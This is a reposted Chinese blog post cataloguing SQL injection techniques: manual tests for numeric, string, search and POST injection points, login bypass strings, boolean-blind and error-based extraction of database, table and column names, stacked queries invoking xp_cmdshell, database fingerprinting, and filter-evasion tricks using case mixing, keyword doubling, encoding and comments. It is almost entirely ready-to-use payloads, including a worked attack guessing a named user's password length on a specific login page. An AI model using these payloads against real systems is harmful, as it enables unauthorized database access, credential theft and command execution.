常見SQL注入點判斷


sql注入手工檢測

 

 

2017年12月14日 09:36:16

1、基本檢測

數字型

$id=@$_GET['id']; //id未經過濾 $sql = "SELECT * FROM sqltest WHERE id='$id'"; 判斷 asp?id=49' //報錯 asp?id=49 and 1=1 asp?id=49 and 1=2 判斷什么型 ?id=1%2b1 //加法減法,可區分數字還是字符型 數據庫權限判斷,判斷root and ord(mid(user(),1,1))=114 或 and (select count(*) from mysql.user)>0 //返回正常有讀寫 判斷字段,字段一樣返回正常,幾個字段寫幾個null返回正常 php?id=1 and 1=1 union select 1,2,3,4,5 或 php?id=1 union select null,null,null..... php?id=1 and 1=1 order by 3 強制返回記錄 php?id=2 union select 1,2,3 limit 1,1
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

字符型

$sql="select * from user where username = '$name'"; //php select * from user where username = 'admin' //sql $query="select first_name from users where id='$_GET['id']'"; //字符型 1' union select database() #; //輸入 select first_name from users where id='1'union select database()#' //sql語句變形 判斷 xx' and '1'=1--' xx' and '1=2--' 猜字段 php?username=admin' union select 1,2,3,4 and '1'='1 猜對后是4個字段,替換相關回顯位 php?username=admin' union select database(),version(),3,4 and '1'='1 猜表名 php?username=admin'+and+(select+count(*)+from+user)>0+and+''=' 猜密碼 php?username=admin' and password='fendo
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21

搜索型

$sql="select * from user where password like '%$pwd%' order by password"; 'and 1=1 and '%'=' //輸入 select * from user where password like '%fendo'and 1=1 and '%'='%' order by password//sql語句 判斷 'and 1=1 and '%'=' keyword' //報錯,90存在 keyword% //報錯,95存在 keyword% 'and 1=1 and '%'=' // keyword% 'and 1=2 and '%'=' // 'and 1=1 and '%'=' %' and 1=1--' %' and 1=1 and '%'=' 判斷字段 %' union select 1,2,3,4,...... and '%'=' %' and exists (select id from user where LENGTH(username)<6 and id=1) and '%'=' //6是字段可更換,小於6說明字段數是5 判斷表明 %'and(select count(*)from admin)>0 and '%'='
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

POST注入

'   //看是否會報錯,盲注不會報錯
' or '1'='1'-- //用戶名繞過 ' or 1=1# ' order by 4# 'or 1=1 union select 1,2,3,4 # //猜表名和回顯 'or 1=1 union select username,password,3,4 from user# //猜內容 實例 login.asp?name=admin'&pass=admin //出錯,存在 login.asp?name=admin &pass=admin' and '1=1 // login.asp?pass=admin&name=admin' and 1=1 and 'a'='a // SELECT * FROM data Where uname='admin' and 1=1 and 'a'='a' //sql語句變成,此時正常登陸 可以正常運行的目標地址已經構造成功,此時可將1=1部分用SQL查詢語句替代,依次對數據庫表名、表中字段名、用戶和密碼長度、用戶和密碼進行測試 猜表,成功說明是data http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (select count(*) from data)>0 and 'a'='a 猜字段 http://172.18.3.13:81/login.asp?pass=admin&name=admin'and (select count(uname) from data)>0 and 'a'='a 猜密碼長度 http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>1)>0 and 'a'='a ,成功,說明用戶"wucm"的密碼大於1, 繼續猜測密碼長度小於10 http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<10)>0 and 'a'='a 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24

布爾盲注

判斷
http://localhost/index.php?id=2 http://localhost/index.php?id=2' http://localhost/index.php?id=2'' http://localhost/index.php?id=2%23 http://localhost/index.php?id=2' and 1=1# 數據庫長度 php?id=2' and length(database())>1%23 數據庫名稱 php?id=2' and ascii(substr(database(), {0}, 1))={1}%23 表長度 php?id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23 表名 php?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)), {0}, 1)={1}%23 獲取字段個數和長度 php?id=2' and (select length(column_name) from information_schema.columns where table_name = 0x666C6167 limit 0,1)>0%23 字段名 php?id=2' and ascii(substr((select column_name from information_schema.columns where table_name = 0x666C6167 limit 0,1), {0}, 1))={1}%23
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24

報錯注入

?id=2' and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (select (爆錯語句)) from information_schema.tables limit 0,1))x from information_schema.tables group by x )a)--+
  • 1
  • 1

堆疊注入

union 或者union all執行的語句類型是有限的,可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句

Mysql
select * from users where id=1;create table test like users; Sqlserver select * from test;create table sc3(ss CHAR(8)); select * from test where id=1;exec master..xp_cmdshell 'ipconfig' Oracle 不支持 Postgresql 支持
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

判斷是什么數據庫

常見的數據庫Oracle、MySQL、SQL Server、Access、MSsql、mongodb等
關系型數據庫:由二維表及其之間的聯系組成的一個數據組織。如:Oracle、DB2、MySql

1.是否可以使用特定的函數來判斷,該數據庫特有的 len()函數:mssql、mysql、db2 length()函數:Oracle、informix substring:mssql substr:oracle version()>1 返回與@@version>1 相同頁面時,則可能是mysql。如果出現提示version()錯誤時,則可能是mssql。 2.是否可以使用輔助的符號來判斷,如注釋符號、多語句查詢符等等 /* mysql特有注釋符,返回錯誤說明不是mysql -- 是Oracle和MSSQL支持的注釋符,如果返回正常,則說明為這兩種數據庫類型之一。繼續提交如下查詢字符 ; 是子句查詢標識符,Oracle不支持多行查詢,因此如果返回錯誤,則說明很可能是Oracle數據庫。 ;-- 在注入點后加分號、斜杠、斜杠,返回正常是mssql,返回錯誤是ACCESS 3.是否可以編碼查詢 4.是否顯可以利用錯信息 錯誤提示Microsoft JET Database Engine 錯誤 '80040e14', JET是ACCESS數據庫 ODBC是MSSQL數據庫 5.是否存在數據庫某些特性輔助判斷 and exists (select count(*) from sysobjects) 返回正常是mssql and exists (select count(*) from msysobjects) 兩條,和上一條返回都不正常是ACCESS 如果是字符型,參數后加 ' 最后加 ;--
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

2、繞過技巧

大小寫

index.php?page_id=-15 uNIoN sELecT 1,2,3,4 
  • 1
  • 1

替換關鍵字

index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4 可替換and的詞 或者=號 or、||(限mysql)、&&(限mysql)、xor、like、<、>
  • 1
  • 2
  • 3
  • 1
  • 2
  • 3

使用編碼

1、URL編碼,可以編碼兩次 page.php?id=1UNION 1,2,3,4,SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) 空格: 20% #: %23 % %25 & %26 2、Unicode編碼 單引號:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、�'、�、� 空格:%u0020、%uff00、� 、�、� 左括號:%u0028、%uff08、�(、�、� 右括號:%u0029、%uff09、�)、�、� 舉例: ?id=10�' AND 1=2# SELECT 'Ä'='A'; #1
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

注釋和符號

常用注釋
//, -- , , #, --+,--  -, ;--a ' or 1=1# ' or 1=11='1 ' 1='1 常用前綴 + – ~ ! ' or –+2=- -!!!'2 常用操作符 ^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

等價函數與命令

1.函數或變量 hex()、bin() ==> ascii() sleep() ==>benchmark() concat_ws()==>group_concat() mid()、substr() ==> substring() @@user ==> user() @@datadir ==> datadir() 舉例substring()和substr()無法使用時 ?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74  或者 substr((select 'password'),1,1) = 0x70 strcmp(left('password',1), 0x69) = 1 strcmp(left('password',1), 0x70) = 0 strcmp(left('password',1), 0x71) = -1 上述這幾個示例用於說明有時候當某個函數不能使用時還可以找到其他的函數替代其實現至於select、uinon、where等關鍵字被限制如何處理將在后面filter部分討論
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

特殊符號

1.使用反引號`,例如select `version()`,可以用來過空格和正則,特殊情況下還可以將其做注釋符用 2.神奇的"-+.",select+id-1+1.from users; “+”是用於字符串連接的,”-”和”.”在此也用於連接,可以逃過空格和關鍵字過濾 3.@符號,select@^1.from users; @用於變量定義如@var_name,一個@表示用戶定義,@@表示系統變量 4.Mysql function() as xxx 也可不用as和空格   select-count(id)test from users; //繞過空格限制 
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM